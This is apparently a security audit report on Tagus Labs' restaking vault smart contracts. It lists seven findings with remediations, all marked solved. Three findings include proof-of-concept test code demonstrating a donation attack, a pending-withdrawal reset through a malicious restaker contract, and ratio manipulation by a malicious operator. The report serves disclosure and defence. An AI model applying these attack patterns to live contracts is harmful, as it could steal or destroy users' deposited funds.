Prepared by:
HALBORN
Last Updated 08/05/2024
Date of Engagement by: April 17th, 2024 - May 1st, 2024
100% of all REPORTED Findings have been addressed
All findings
7
Critical
1
High
1
Medium
1
Low
2
Informational
2
Tagus Labs engaged Halborn to conduct a security assessment on their smart contracts beginning on 17/04/2024 and ending on 05/01/2024. The security assessment was scoped to the smart contracts provided to the Halborn team.
The team at Halborn was provided two weeks for the engagement and assigned a full-time security engineer to evaluate the security of the smart contract.
The security engineer is a blockchain and smart-contract security expert with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.
The purpose of this assessment is to:
Ensure that smart contract functions operate as intended.
Identify potential security issues with the smart contracts.
In summary, Halborn identified some security risks that were addressed by the Tagus Labs team
.
Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy regarding the scope of this assessment. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance code coverage and quickly identify items that do not follow the security best practices. The following phases and associated tools were used during the assessment:
Research into architecture and purpose.
Smart contract manual code review and walkthrough.
Graphing out functionality and contract logic/connectivity/functions. (solgraph
)
Manual assessment of use and safety for the critical Solidity variables and functions in scope to identify any arithmetic related vulnerability classes.
Manual testing by custom scripts.
Scanning of solidity files for vulnerabilities, security hot-spots or bugs. (MythX
)
Static Analysis of security for scoped contract, and imported functions. (Slither
)
Testnet deployment. (Brownie
, Anvil
, Foundry
)
EXPLOITABILIY METRIC () | METRIC VALUE | NUMERICAL VALUE |
---|---|---|
Attack Origin (AO) | Arbitrary (AO:A) Specific (AO:S) | 1 0.2 |
Attack Cost (AC) | Low (AC:L) Medium (AC:M) High (AC:H) | 1 0.67 0.33 |
Attack Complexity (AX) | Low (AX:L) Medium (AX:M) High (AX:H) | 1 0.67 0.33 |
IMPACT METRIC () | METRIC VALUE | NUMERICAL VALUE |
---|---|---|
Confidentiality (C) | None (I:N) Low (I:L) Medium (I:M) High (I:H) Critical (I:C) | 0 0.25 0.5 0.75 1 |
Integrity (I) | None (I:N) Low (I:L) Medium (I:M) High (I:H) Critical (I:C) | 0 0.25 0.5 0.75 1 |
Availability (A) | None (A:N) Low (A:L) Medium (A:M) High (A:H) Critical (A:C) | 0 0.25 0.5 0.75 1 |
Deposit (D) | None (D:N) Low (D:L) Medium (D:M) High (D:H) Critical (D:C) | 0 0.25 0.5 0.75 1 |
Yield (Y) | None (Y:N) Low (Y:L) Medium (Y:M) High (Y:H) Critical (Y:C) | 0 0.25 0.5 0.75 1 |
SEVERITY COEFFICIENT () | COEFFICIENT VALUE | NUMERICAL VALUE |
---|---|---|
Reversibility () | None (R:N) Partial (R:P) Full (R:F) | 1 0.5 0.25 |
Scope () | Changed (S:C) Unchanged (S:U) | 1.25 1 |
Severity | Score Value Range |
---|---|
Critical | 9 - 10 |
High | 7 - 8.9 |
Medium | 4.5 - 6.9 |
Low | 2 - 4.4 |
Informational | 0 - 1.9 |
Critical
1
High
1
Medium
1
Low
2
Informational
2
Security analysis | Risk level | Remediation Date |
---|---|---|
VAULTS ARE VULNERABLE TO A DONATION ATTACK | Critical | Solved - 05/02/2024 |
_pendingWithdrawalAmount CAN BE ARBITRARILY RESET | High | Solved - 04/28/2024 |
MALICIOUS OPERATOR UNDELEGATION CAN BREAK THE RATIO | Medium | Solved - 04/29/2024 |
USERS CAN CREATE AS MANY WITHDRAWALS REQUEST AS THEY WANT | Low | Solved - 05/13/2024 |
RESETTING delegationManager WILL BREAK ACCOUNTING | Low | Solved - 05/16/2024 |
RATIO FUNCTION IS NOT GAS EFFICIENT | Informational | Solved - 05/13/2024 |
LACK OF __ERC165_INIT | Informational | Solved - 05/13/2024 |
// Critical
The ratio computation mechanism within the vault is susceptible to manipulation through a "donation attack." This attack vector is realized when a significant amount of tokens, equal to or exceeding 1e18
, is donated to the vault before any other transaction. Subsequent to this donation, the share price, or ratio, becomes permanently fixed at 1
, irrespective of the actual amount of deposited assets or the total supply of shares within the vault. The standard calculation method using Convert.multiplyAndDivideCeil
rounds up and solidifies the ratio at 1
, regardless of subsequent transactions, thus effectively breaking the dynamic share pricing mechanism intended by the ERC4626 standard.
The persistent ratio of 1
distorts the share-to-asset conversion process, causing deposits less than 1e18
to round down to zero shares minted, leading to a total loss of the deposited assets for the user. This distortion prevents the vault from correctly accounting for new deposits, disrupting the intended proportional relationship between shares and underlying assets. It also introduces a vulnerability where the vault can no longer accurately represent the economic value of deposits and withdrawals, thereby undermining its functionality and user trust.
The following test has been added to inceptionVaultV2.js
:
it("Donation Attack", async function () {
console.log("----------- Donation Attack -----------");
await iVault.connect(staker).deposit(100n, staker.address);
console.log(`iToken totalSupply : ${await iToken.totalSupply()}`);
console.log(`total Assets 1 : ${await iVault.totalAssets()}`);
console.log(`getTotalDeposited 1 : ${await iVault.getTotalDeposited()}`);
console.log(`Ratio 1 : ${await iVault.ratio()}`);
console.log("--- Attacker Donation 99stEth ---");
await asset.connect(staker).transfer(iVault.getAddress(),99n * e18);
console.log(`getTotalDeposited : ${await iVault.getTotalDeposited() }`);
console.log(`Ratio 2 : ${await iVault.ratio()}`);
console.log("--- Victims Deposit ---");
let deposited2 = 1n * e18;
let upTo = 8n;
for (let i = 0; i < upTo; i++) {
await iVault.connect(staker2).deposit(deposited2, staker2.address);
await iVault.connect(staker3).deposit(deposited2, staker3.address);
}
console.log(`Ratio 3 : ${await iVault.ratio()}`);
console.log(`total Assets 3 : ${await iVault.totalAssets()}`);
console.log(`Staker 1 Shares : ${await iToken.balanceOf(staker)}`);
console.log(`Staker 2 Deposit : ${deposited2 * upTo / e18} eth`);
console.log(`Staker 2 Shares : ${await iToken.balanceOf(staker2)}`);
console.log(`Staker 3 Deposit : ${deposited2 * upTo / e18} eth`);
console.log(`Staker 3 Shares : ${await iToken.balanceOf(staker3)}`);
console.log("--- Attacker Withdraw ---");
const tx3 = await iVault.connect(staker).withdraw(99n, staker.address);
const receipt3 = await tx3.wait();
const events3 = receipt3.logs?.filter((e) => e.eventName === "Withdraw");
let amount = events3[0].args["amount"] ;
console.log(`Amount redeemed to attacker : ${amount/e18}`);
});
Result :
To mitigate this vulnerability, it is advised to:
Pre-Mint Shares: Establish the vault with an initial deposit of shares that reflect a non-trivial amount of the underlying asset, preventing share price manipulation from being economically feasible.
Guard Against Zero Share Minting: Implement safeguards within the deposit logic to reject any deposit transaction that would result in zero shares being minted. This could involve verifying the expected number of shares before completing the deposit transaction.
SOLVED : The Tagus Labs team implemented a check to ensure depositors get some shares when depositing LST tokens + all vaults are already deployed and already have a TVL in mainnet.
// High
The Tagus protocol incorporates a function named getTotalDeposited()
which serves the purpose of aggregating all tokenized assets under its purview:
function getTotalDeposited() public view returns (uint256) {
//1 getTotalDelegated() = LRT tokens delegated to EigenLayer
//2 totalAssets = ERC20(_assetStrategy.underlyingToken()).balanceOf(address(this)) => rETH or stETH balance of Vault (can be donated )
//3 _pendingWithdrawalAmount =
// incremented on undelegateFrom() || undelegateVault()
// decremented on claimCompletedWithdrawals()
return getTotalDelegated() + totalAssets() + _pendingWithdrawalAmount;
}
/// returns the total deposited into asset strategy
function getTotalDelegated() public view returns (uint256 total) {
//E Fetch number of restakers = number of InceptionRestaker contracts deployed
uint256 stakersNum = restakers.length;
//E loop through all stub proxies and fetch values staked by them
for (uint256 i = 0; i < stakersNum; ) {
if (restakers[i] == address(0)) { continue; }
total += strategy.userUnderlyingView(restakers[i]);
unchecked {++i;}
}
//E add it the vault delegated amount
return total + strategy.userUnderlyingView(address(this));
}
The variable _pendingWithdrawalAmount
ensures that assets requested for redemption from EigenLayer—post-burn of corresponding shares—are appropriately counted, thus maintaining accurate token valuation within the Tagus vault.
Alteration of _pendingWithdrawalAmount
occurs in two principal scenarios:
Incrementation upon the execution of undelegation events:
function undelegateFrom(
address elOperatorAddress,
uint256 amount
) external whenNotPaused nonReentrant onlyOperator {
/// ... ///
_pendingWithdrawalAmount += amount;
IInceptionRestaker(stakerAddress).withdrawFromEL(shares);
}
/// @dev performs creating a withdrawal request from EigenLayer
/// @dev requires a specific amount to withdraw
function undelegateVault(
uint256 amount
) external whenNotPaused nonReentrant onlyOperator {
/// ... ///
_pendingWithdrawalAmount += amount;
delegationManager.queueWithdrawals(withdrawals);
}
Decrementing in response to the successful claiming of withdrawals from EigenLayer:
/// @dev claims completed withdrawals from EigenLayer, if they exist
function claimCompletedWithdrawals(
address restaker,
IDelegationManager.Withdrawal[] calldata withdrawals
) public whenNotPaused nonReentrant {
uint256 withdrawalsNum = withdrawals.length;
IERC20[][] memory tokens = new IERC20[][](withdrawalsNum);
uint256[] memory middlewareTimesIndexes = new uint256[](withdrawalsNum);
bool[] memory receiveAsTokens = new bool[](withdrawalsNum);
for (uint256 i = 0; i < withdrawalsNum; ) {
tokens[i] = new IERC20[](1);
tokens[i][0] = _asset;
receiveAsTokens[i] = true;
unchecked {
i++;
}
}
uint256 withdrawnAmount;
if (restaker == address(this)) {
withdrawnAmount = _claimCompletedWithdrawalsForVault(
withdrawals,
tokens,
middlewareTimesIndexes,
receiveAsTokens
);
} else {
//E @audit UNSAFE CALL TO EXTERNAL CONTRACT IS POSSIBLE
withdrawnAmount = IInceptionRestaker(restaker).claimWithdrawals(
withdrawals,
tokens,
middlewareTimesIndexes,
receiveAsTokens
);
}
emit WithdrawalClaimed(withdrawnAmount);
_pendingWithdrawalAmount = _pendingWithdrawalAmount < withdrawnAmount
? 0
: _pendingWithdrawalAmount - withdrawnAmount;
if (_pendingWithdrawalAmount < 7) {
_pendingWithdrawalAmount = 0;
}
_updateEpoch();
}
function updateEpoch() external whenNotPaused onlyOperator {
_updateEpoch();
}
However in the code above, no strict restriction have been added, allowing any user to call this function with an arbitrary restaker
and a null array of withdrawals requests. This lack of check can lead to an arbitrary contract called and any value returned that could reset the variable _pendingWithdrawalAmount
to 0 even if no token has been claimed and disrupt the ratio of the vault.
The following test has been added to inceptionVaultV2.js
:
it("Only Call UpdateEpoch", async function () {
console.log("\n---- Reset _pendingWithdrawalAmount ----")
let deposited = 10n * e18;
let upTo = 10;
for (let i = 0; i < upTo; i++) {
await iVault.connect(staker).deposit(deposited, staker.address);
await iVault.connect(staker2).deposit(deposited, staker2.address);
await iVault.connect(staker3).deposit(deposited, staker3.address);
}
await iVault.connect(iVaultOperator).depositAssetIntoStrategyFromVault(await iVault.totalAssets());
await iVault.connect(iVaultOperator).delegateToOperatorFromVault(nodeOperators[0], ethers.ZeroHash, [ethers.ZeroHash, 0]);
let amountStaker1 = await iToken.balanceOf(staker);
let amountStaker2 = await iToken.balanceOf(staker2);
let amountStaker3 = await iToken.balanceOf(staker3);
let shares = amountStaker1 + amountStaker2 + amountStaker3;
await iVault.connect(iVaultOperator).undelegateVault(shares);
console.log(`ratio Before : ${await iVault.ratio()}`);
let restakerImp = await ethers.deployContract("InceptionRestaker2");
await iVault.claimCompletedWithdrawals(restakerImp.getAddress(),[]);
console.log(`ratio After : ${await iVault.ratio()}`);
});
And this contract has been added to the src
folder :
contract InceptionRestaker2 is IInceptionRestaker, InceptionRestakerErrors
{
/// ... ///
function claimWithdrawals(
IDelegationManager.Withdrawal[] calldata withdrawals,
IERC20[][] calldata tokens,
uint256[] calldata middlewareTimesIndexes,
bool[] calldata receiveAsTokens
) external returns (uint256) {
return type(uint256).max;
}
/// ... ///
}
Result :
To address the vulnerability and restore secure operation, it is recommended that:
Mandatory submission of a known and verified restaker
address be enforced within the claimCompletedWithdrawals()
function.
The function should reject calls that contain a zero-length array for withdrawal requests, ensuring only legitimate redemption operations can trigger a decrease in _pendingWithdrawalAmount
.
SOLVED : The Tagus Labs team implemented a check on claimCompletedWithdrawals
to ensure the restaker is known by the contract.
// Medium
The implementation of the vault does not account for the manual undelegation of assets by EigenLayer operators through direct interactions with the delegationManager.connect(signer).undelegate(withdrawer)
. This oversight permits operators, if acting with malicious intent, to unilaterally remove delegated assets without corresponding updates to the vault's accounting mechanism. As the function getTotalDeposited()
continues to report the pre-undelegation amounts, it inaccurately reflects the vault's actual asset holdings.
Impacts :
Imbalance in Asset-to-Share Ratio: Following manual undelegation, the ratio, which determines the number of shares per asset, becomes inflated due to the reported total assets being lower than the actual assets. This inflation lasts until the vault's state is correctly updated, which according to the EigenLayer's M2 update, can take up to one week.
Exploitation Window: During this period, malicious actors or even uninformed users can redeem shares at an inflated value, effectively withdrawing a greater value of assets per share than entitled. Conversely, users depositing during this period receive fewer shares for their assets, potentially leading to financial losses.
The following test has been added to inceptionVaultV2.js
:
it("Operator becomes malicious", async function () {
console.log("--- Vault Operator Add Operators ---");
const newELOperator = nodeOperators[1];
const tx = await iVault.addELOperator(newELOperator);
const receipt = await tx.wait();
const events = receipt.logs?.filter((e) => e.eventName === "ELOperatorAdded");
expect(events.length).to.be.eq(1);
expect(events[0].args["newELOperator"]).to.be.eq(newELOperator);
await iVault.addELOperator(nodeOperators[2]);
await iVault.addELOperator(nodeOperators[3]);
// Users deposit to the vault
console.log("--- Users Deposit to the vault ---");
deposited = 100n * e18;
await iVault.connect(staker).deposit(deposited, staker.address);
await iVault.connect(staker2).deposit(deposited, staker2.address);
await iVault.connect(staker3).deposit(deposited, staker3.address);
console.log(`total Assets : ${await iVault.totalAssets()}`);
console.log(`total Delegated : ${await iVault.getTotalDelegated()}`);
// Delegate to these new operators
console.log("--- Vault Operator delegates to EL ---");
let amountToDelegate = 299999999999999999999n / 3n;
await iVault.connect(iVaultOperator).delegateToOperator(amountToDelegate, nodeOperators[1], ethers.ZeroHash, [ethers.ZeroHash, 0]);
let restaker0 = await iVault.restakers(0);
await iVault.connect(iVaultOperator).delegateToOperator(amountToDelegate, nodeOperators[2], ethers.ZeroHash, [ethers.ZeroHash, 0]);
await iVault.connect(iVaultOperator).delegateToOperator(amountToDelegate, nodeOperators[3], ethers.ZeroHash, [ethers.ZeroHash, 0]);
console.log(`total Assets 2 : ${await iVault.totalAssets()}`);
console.log(`total Delegated 2 : ${await iVault.getTotalDelegated()}`);
let ratio1 = await iVault.ratio()
console.log(`Ratio 1 : ${ratio1}`);
// Operator Undelegate Manually
console.log("--- EigenLayer Operator undelegates manually ---");
let withdrawer = await iVault.restakers(0);
let delegationManagerAddr = await iVault.delegationManager();
const delegationManager = await ethers.getContractAt("IDelegationManager",delegationManagerAddr);
// impersonate nodeOperator[1]
await hre.network.provider.request({
method: "hardhat_impersonateAccount",
params: [nodeOperators[1]],
});
const signer = await ethers.provider.getSigner(nodeOperators[1])
// undelegate
await delegationManager.connect(signer).undelegate(withdrawer);
console.log(`total Assets 3 : ${await iVault.totalAssets()}`);
console.log(`total Delegated 3 : ${await iVault.getTotalDelegated()}`);
let ratio2 = await iVault.ratio()
console.log(`Ratio 2 : ${ratio2}`);
console.log("--- Malicious Operator deposit tokens at a bigger ratio ---");
await iVault.connect(staker4).deposit(deposited, staker4.address);
let amountStaker4 = deposited * ratio1 / e18;
let realAmountStaker4 = await iToken.balanceOf(staker4)
console.log(`Staker 4 tokens : ${realAmountStaker4}`);
console.log(`Staker should have gotten : ${amountStaker4}`);
console.log(`Benefits for staker4 : ${realAmountStaker4 - amountStaker4}`);
// Operator takes this opportunity to mint inception tokens at a lower rate
// Or users lose money
});
Result :
It is recommended to integrate pre-transaction checks within the deposit()
and withdraw()
functions. These checks should verify the current delegation status of assets and, if discrepancies are detected due to undelegations not reflected in the vault's records, transactions should be reverted.
SOLVED : The Tagus Labs team implemented a new function _verifyDelegated()
which ensure all delegated operators are still delegated to EigenLayer.
// Low
The process for handling withdrawals within the vault consists of three main steps: initiating a withdrawal, updating the epoch based on the available balance, and redeeming the withdrawal. In the current implementation, when a user executes the withdraw() function, a Withdrawal struct is created and added to the claimerWithdrawalsQueue. This struct includes details such as the amount to be withdrawn and the receiver's address.
function withdraw(uint256 iShares, address receiver) external whenNotPaused nonReentrant {
...
claimerWithdrawalsQueue.push(
Withdrawal({
epoch: claimerWithdrawalsQueue.length,
receiver: receiver,
amount: _getAssetReceivedAmount(amount)
})
);
...
}
The updateEpoch() function then iterates through this queue to determine how many withdrawals can be covered with the available balance. If the total requested amount exceeds the available balance, the process halts, and the remaining requests are deferred.
function _updateEpoch() internal {
uint256 withdrawalsNum = claimerWithdrawalsQueue.length;
uint256 availableBalance = totalAssets() - redeemReservedAmount;
for (uint256 i = epoch; i < withdrawalsNum; ) {
if (claimerWithdrawalsQueue[i].amount > availableBalance) { break; }
...
epoch++;
}
}
The absence of limitations on the number of withdrawal requests a user can submit leads to a potential denial-of-service (DoS) vulnerability. If numerous withdrawal requests accumulate in the claimerWithdrawalsQueue, processing them during the _updateEpoch() operation can become computationally intensive and exceed gas limits, effectively stalling the withdrawal process. This can prevent legitimate withdrawals from being processed in a timely manner, impacting all users of the vault.
To mitigate this vulnerability and enhance system resilience, it is recommended to implement a mechanism that limits the number of active withdrawal requests a single user can have at any given time. This will prevent users from submitting a large number of unnecessary or redundant requests.
Additionally, it is advised to introduce a limit to the number of requests processed per function call. This can prevent the function from hitting gas limits and allows for spreading the processing load over multiple transactions/blocks.
SOLVED : The Tagus Labs team implemented a min withdrawal amount to 0.0001 ETH which render the attack too expensive to be realized.
// Low
The current implementation of the contract heavily relies on the delegationManager for multiple critical operations, including the delegation and withdrawal of assets. The function setDelegationManager(IDelegationManager newDelegationManager) permits updating the delegationManager address.
//E @audit resetting delegation manager will break accounting
function setDelegationManager( IDelegationManager newDelegationManager ) external onlyOwner
{
emit DelegationManagerChanged(address(delegationManager),address(newDelegationManager));
delegationManager = newDelegationManager;
}
This function has a goal to be used only one time, and it’s critical that’s it’s only used one time. Moreover it configures which delegation manager contract is authorized to manage asset delegation and withdrawal processes. However, the ability to change this address dynamically introduces potential risks, particularly if the delegationManager is altered during a withdrawal operation.
Consider making the delegationManager address immutable or setDelegationManager only usable one time if frequent changes are not necessary for operational flexibility. This could be established during the contract deployment and not allowed to change post-deployment.
SOLVED : Tagus Labs team implemented a check to prevent a modification of this critical variable as it has been set.
// Informational
The current implementation of the ratio() function in the smart contract inefficiently retrieves the total deposited amount twice due to repeated calls to getTotalDeposited(). This redundant fetching of the same data results in unnecessary gas costs, as each call to a state variable involves a read operation that consumes gas.
function ratio() public view returns (uint256) {
uint256 denominator = getTotalDeposited() < totalAmountToWithdraw
? 0
: getTotalDeposited() - totalAmountToWithdraw;
if (denominator == 0 || IERC20(address(inceptionToken)).totalSupply() == 0) {
return 1e18;
}
return Convert.multiplyAndDivideCeil(IERC20(address(inceptionToken)).totalSupply(), 1e18, denominator);
}
To enhance the gas efficiency of the ratio() function, it is recommended to store the results of getTotalDeposited() and IERC20(address(inceptionToken)).totalSupply() in local variables during the initial computation, thus reducing the number of state reads from twice to once for each variable. This modification will significantly decrease the gas consumption by minimizing the redundant access to storage.
function ratio() public view returns (uint256) {
uint256 totalDeposited = getTotalDeposited();
uint256 totalSupply = IERC20(address(inceptionToken)).totalSupply();
uint256 denominator = totalDeposited < totalAmountToWithdraw
? 0
: totalDeposited - totalAmountToWithdraw;
if (denominator == 0 || totalSupply == 0) {
return 1e18;
}
return Convert.multiplyAndDivideCeil(totalSupply, 1e18, denominator);
}
SOLVED : The Tagus Labs team modified the function and now stores the variables that are needed instead of re-calling each time the needed functions.
// Informational
In the initialize
method of the InceptionRestaker
contract, there is an omission of the __ERC165_init()
call, which is part of the ERC165Upgradeable
contract from OpenZeppelin. Even though it currently performs no operations,the __ERC165_init()
function is designed to ensure that any future enhancements or modifications that might be added to the ERC165Upgradeable
initialization process are correctly incorporated when the contract is upgraded.
To ensure robustness and maintain upgrade safety, it is recommended to include the __ERC165_init()
call in the initialization process of the InceptionRestaker
contract. This change will safeguard against potential issues arising from future changes to the ERC165Upgradeable
contract and ensure that the contract adheres to the standard initialization protocol for OpenZeppelin's upgradeable contracts.
function initialize(
address delegationManager,
address strategyManager,
address strategy,
address trusteeManager
) public initializer {
__Pausable_init();
__ReentrancyGuard_init();
__Ownable_init();
__ERC165_init(); // Ensure compatibility with future versions of ERC165Upgradeable
/// ... ///
}
SOLVED : The Tagus Labs team added __ERC_165()
Init on the vault contract.
Halborn used automated testing techniques to enhance the coverage of certain areas of the smart contracts in scope. Among the tools used was Slither, a Solidity static analysis framework.
After Halborn verified the smart contracts in the repository and was able to compile them correctly into their abis and binary format, Slither was run against the contracts. This tool can statically verify mathematical relationships between Solidity variables to detect invalid or inconsistent usage of the contracts' APIs across the entire code-base.
All issues identified by Slither were proved to be false positives or have been added to the issue list in this report.
Halborn strongly recommends conducting a follow-up assessment of the project either within six months or immediately following any material changes to the codebase, whichever comes first. This approach is crucial for maintaining the project’s integrity and addressing potential vulnerabilities introduced by code modifications.
// Download the full report
* Use Google Chrome for best results
** Check "Background Graphics" in the print settings if needed